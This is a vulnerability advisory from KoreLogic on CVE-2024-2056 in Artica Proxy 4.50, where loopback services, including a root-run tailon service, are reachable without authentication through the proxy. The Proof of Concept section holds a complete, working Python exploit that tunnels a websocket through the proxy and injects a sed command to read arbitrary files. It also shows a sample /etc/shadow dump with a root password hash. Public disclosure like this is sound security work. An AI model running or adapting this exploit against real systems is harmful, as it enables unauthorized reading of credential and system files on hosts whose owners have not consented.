Artica Proxy Loopback Services Remotely Accessible Unauthenticated

Vulnerability Details

Affected Vendor: Artica
Affected Product: Artica Proxy
Affected Version: 4.50
Platform: Debian 10 LTS
CWE Classification: CWE-288: Authentication Bypass Using an
Alternate Path or Channel, CWE-552: Files
or Directories Accessible to External
Parties
CVE ID: CVE-2024-2056

Vulnerability Description

Services that are running and bound to the loopback
interface on the Artica Proxy are accessible through
the proxy service. In particular, the “tailon” service is
running as the root user, is bound to the loopback interface,
and is listening on TCP port 7050. Security issues associated
with exposing this network service are documented at
https://github.com/gvalkov/tailon#security. Using the tailon
service, the contents of any file on the Artica Proxy can be
viewed.

Technical Description

root@artica-450:~# netstat -anop | grep LIST | egrep ‘127.0.|::’ | awk ‘{ print $4 " " $7 }’
127.0.0.1:57585 <PID>/(squid-1)
127.0.0.1:8562 <PID>/nginx:
127.0.0.1:884 <PID>/sshd
127.0.0.55:53 <PID>/dnscache
127.0.0.1:9143 <PID>/[authlog]
127.0.0.1:5432 <PID>/postgres
127.0.0.1:2521 <PID>/artica-smtpd
127.0.0.1:2874 <PID>/monit
127.0.0.1:19102 <PID>/[cache-tail]
127.0.0.1:3333 <PID>/go-shield-serv
127.0.0.1:389 <PID>/slapd
127.0.0.1:3334 <PID>/go-exec
127.0.0.1:7050 <PID>/tailon
:::4949 <PID>/perl
:::9025 <PID>/[error-page]

root@artica-450:~# ps -efww | grep tailon
root 2765 1 0 Nov07 ? 00:01:29 /sbin/tailon --allow-download --config /etc/tailon/config.toml alias=Syslog,group=System,/var/log/syslog alias=Daemons,group=Services,/var/log/.log alias=Proxy,group=Service-Proxy,/var/log/squid/.log alias=Nginx,group=Service-Web,/var/log/nginx/*.log

Mitigation and Remediation Recommendation

No response from vendor; no remediation available.

Credit

This vulnerability was discovered by Jim Becher and Jaggar
Henry of KoreLogic, Inc.

Disclosure Timeline

2023.12.18 - KoreLogic requests vulnerability contact and
secure communication method from Artica.
2023.12.18 - Artica Support issues automated ticket #1703011342
promising follow-up from a human.
2024.01.10 - KoreLogic again requests vulnerability contact and
secure communication method from Artica.
2024.01.10 - KoreLogic mail daemon receives SMTP 554 5.7.1 from
mail.articatech.com with response
“Client host rejected: Go Away!”
2024.01.11 - KoreLogic requests vulnerability contact and
secure communication method via
https://www.articatech.com/ ‘Contact Us’ web form.
2024.01.23 - KoreLogic requests CVE from MITRE.
2024.01.23 - MITRE issues automated ticket #1591692 promising
follow-up from a human.
2024.02.01 - 30 business days have elapsed since KoreLogic
attempted to contact the vendor.
2024.02.06 - KoreLogic requests update on CVE from MITRE.
2024.02.15 - KoreLogic requests update on CVE from MITRE.
2024.02.22 - KoreLogic reaches out to alternate CNA for
CVE identifiers.
2024.02.26 - 45 business days have elapsed since KoreLogic
attempted to contact the vendor.
2024.02.29 - Vulnerability details presented to AHA!
(takeonme.org) by proxy.
2024.03.01 - AHA! issues CVE-2024-2056 to track this
vulnerability.
2024.03.05 - KoreLogic public disclosure.

Proof of Concept

$ python3 exploit.py 192.168.2.139 /etc/shadow
1701282189.746 35 192.168.2.99 TCP_TUNNEL/200 3496 CONNECT 0.0.0.0:7050 - HIER_DIRECT/0.0.0.0:7050 - mac=\"e0:d5:5e:0a:d3:24\" category:%200%0D%0Acategory-name:%20Unknown%0D%0Aclog:%20cinfo:0-Unknown;%0D%0A exterr=\"-|-\"
root:$6$Pvb1ivrg5oo.a/om$xtRvfpBBSZgPt/fDjHzw9k9e.jxWaY.LPOqnqHJcSBuQMxtjtG6pBBMMf1Z6D4jtN6kDSB3h5FufJ9DuXv.7R0:19507:0:99999:7:::
daemon::19507:0:99999:7:::
bin::19507:0:99999:7:::
sys::19507:0:99999:7:::
sync::19507:0:99999:7:::
games::19507:0:99999:7:::
man::19507:0:99999:7:::
…
…

exploit.py

import re
import sys
import json
import websocket

“”"
run pip install websocket-client before executing.
“”"

ARTICA_PROXY_IP = sys.argv[1] if len(sys.argv) >= 2 else ‘172.17.0.1’
FILE_TO_READ = sys.argv[2] if len(sys.argv) >= 3 else ‘/etc/passwd’
WEBSOCKET_URI = ‘ws://0.0.0.0:7050/tailon/ws/1337/korelogic/websocket’

payload = {
‘command’: ‘sed’,
‘script’: f’r {FILE_TO_READ}',
‘entry’: {
‘path’: ‘/var/log/squid/access.log’,
‘alias’: ‘Proxy/access.log’,
},
‘nlines’: 1
}

websocket_message = json.dumps([json.dumps(payload)])

ws = websocket.WebSocket()
ws.connect(WEBSOCKET_URI, http_proxy_host=ARTICA_PROXY_IP, http_proxy_port=‘8085’, proxy_type=‘http’)
ws.send(websocket_message)

reading = True
while reading:
data = re.search(r’a[“[\“o\”,\”(.*)\“]”]$', ws.recv())
if data: print(data.group(1))

ws.close()